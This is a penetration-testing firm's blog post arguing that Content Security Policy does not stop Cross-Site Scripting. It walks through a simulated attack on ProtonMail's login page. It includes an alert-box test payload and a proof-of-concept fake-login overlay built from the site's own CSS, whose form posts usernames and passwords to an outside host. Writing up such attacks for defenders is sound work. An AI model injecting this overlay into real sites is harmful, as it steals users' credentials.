Introduction
Cross-Site Scripting is a common vulnerability in web applications that we (still) encounter often while doing a security test on a web application. This vulnerability arises when untrusted input is processed in an insecure manner in the output of a web application. It is caused by a lack of output encoding, or by using improper output encoding methods. Cross-Site Scripting allows a malicious actor to change the output of a website. Most Cross-Site Scripting attacks will attempt to run malicious scripts in the browser of (other) users.
Modern browsers support Content Security Policy, which is a defense in depth layer to mitigate certain type of attacks, including Cross-Site Scripting. Servers can define a policy by returning a Content-Security-Policy
(-Report-Only
) HTTP header (or alternatively using a meta
HTML tag). While a Content Security Policy mitigates Cross-Site Scripting, it does nothing to prevent the injection from occurring. An attacker can still inject arbitrary data in the output of a vulnerable website, a Content Security Policy merely limits what an attacker can do.
A large number of bypasses have been documented after the introduction of Content Security Policy. Most of which are the result of an overly permissive policy; not really a weakness in Content Security Policy itself. Often the goal of a bypass is to run some arbitrary JavaScript. In this blog I'll show that Content Security Policy is not a silver bullet for mitigating Cross-Site Scripting. Even with the most restrictive policy it is often possible to do bad things if an application is affected by Cross-Site Scripting. Consequently, Cross-Site Scripting issues should always be addressed regardless whether a policy is configured or not.
Disclaimer: this blog contains a number of examples using the ProtonMail website. No actual Cross-Site Scripting vulnerability has been exploited in ProtonMail. Rather it is simulated as if the website contains a Cross-Site Scripting vulnerability. ProtonMail was merely chosen because it has a decent Content Security Policy.
Implementing Content Security Policy
Implementing Content Security Policy for existing web applications can pose to be difficult as these applications were probably not created with Content Security Policy in mind, and/or they use a JavaScript library that is not compatible with a restrictive Content Security Policy; a large number of popular JavaScript libraries aren't Content Security Policy friendly.
Things are easier when creating an application from scratch as it can be designed with a (restrictive) policy in mind. Even so it may still be hard to keep the policy in line with what developers are building. Often these situations will result in an overly permissive policy, or worse no policy at all. As a result the added layer of security is limited, allowing it to be 'circumvented'.
Blocking inline scripts
The traditional way of testing for Cross-Site Scripting is to (try to) inject a script
HTTML tag in a page that will pop an alert box. A properly configured policy will block this, preventing the injection of inline JavaScript. Eg, a tester will try to inject something like the following:
<script>alert(1);</script>
The Content Security Policy defined on the ProtonMail login page is pretty straight forward and provides a solid extra layer of security.
Figure 1: Content-Security-Policy of mail.protonmail.com
No inline JavaScript is allowed by ProtonMail's policy. A Content Security Policy aware browser will block the execution on any inline script present on the web page. This behavior is demonstrated in figure 2. In this example an inline script is injected in the ProtonMail page, its execution is prevented by the browser.
Figure 2: Firefox blocks the injected inline script due to the presence of a Content Security Policy
(Not) bypassing the policy
If, hypothetically speaking, there exists a Cross-Site Scripting vulnerability an attacker needs to find a 'bypass' that allows her to run arbitrary JavaScript within the security context of the ProtonMail website. Looking at the defined policy, there are not a lot of options for the attacker. The policy is configured to allow inline stylesheets (style-src unsafe-inline
), which allows for a number of attacks like injecting a CSS keylogger.
What if we don't try bypass the policy, but rather work with what we can do. It appears that even with a strict policy there is enough opportunity for an attacker. A possible attack would be to overlay an existing page with a fake (injected) page, for example a fake login page. Modern web pages are deployed with rich front ends, having extensive stylesheets. These stylesheets are likely to have styles defined that could be used to create such an overlay. Looking at ProtonMail's stylesheet we can find the following class styles:
.CodeMirror-gutters {
left: 0;
min-height: 100%;
position: absolute;
top: 0;
z-index: 3
}
.contactItem-validation {
min-width: 100%
}
When these styles are applied to a div
tag, the .CodeMirror-gutters
will cause the div to cover the entire page vertically, while the contactItem-validation
style covers the entire page horizontally. Figure 3 demonstrates this, a div is injected that covers the entire page.
Figure 3: injected div that covers the entire page using ProtonMail's own styles
Injecting the fake login page
Now that we have a div that covers the entire page we have the base for showing anything on the webpage that we want. In case of ProtonMail we could show a fake login page that sends entered credentials to an attacker-controlled site. The code below is a (stripped down) proof of concept login page that could be injected in the ProtonMail site. The background is made pink to make it more visible that the injected login page is shown (overlayed) instead of the legitimate one.
<div id="logon" class="CodeMirror-gutters contactItem-validation">
<div id="body" ui-view="panel">
<table width="100%" bgcolor="#DB7093">
<tr height="4000px" valign="top">
<td>
<form method="post" id="pm_login" action="https://securify.nl/" class="pm_panel alt pm_form loginForm-container">
<input id="username" name="username" class="margin loginForm-input-username" type="text">
<input id="password" name="password" class="margin loginForm-input-username" type="password">
<div class="loginForm-actions">
<button id="login_btn" type="submit" class="loginForm-actions-main pm_button primary pull-right loginForm-btn-submit">Login</button>
</div>
</form>
</td>
</tr>
</table>
</div>
</div>
Figure 4: injected login page on ProtonMail
Wrapping it up
A well-defined Content Security Policy is a great way to mitigate Cross-Site Scripting attacks. Like any exploit mitigation technique it is not perfect. A creative attacker will be able to find ways to execute attacks that don't violate the policy. In this blog an example was given using an overlay attack against ProtonMail showing a fake login page by abusing existing CSS styles. An attacker could also try to leverage a website's own JavaScript methods to achieve a similar results, or even abuse other features of the vulnerable website.
Regardless of having deployed a Content Security Policy, organizations should always resolve Cross-Site Scripting vulnerabilities even though there may not be a known exploit at that time. Of course, not all Cross-Site Scripting vulnerabilities are created equal - some are less likely to be exploited than others (triage and prioritize). In general it is important to resolve Cross-Site Scripting vulnerabilities in a timely manner (and of course other important vulnerabilities).
Pentesters should not focus too much on one particular attack vector, be creative and come up with other attack vectors to demonstrate vulnerabilities. Also be aware that Content Security Policy is a defense in depth measure, a permissive policy is not necessarily a security risk. Try to understand why a policy is configured in a certain way and work with your client to make it as strict as possible - without breaking the web application. Just saying a policy is weak, and not giving a proper guidance will hurt your own credibility in the long term. The better you can advise your client, the more likely it is they will hire you again in the future.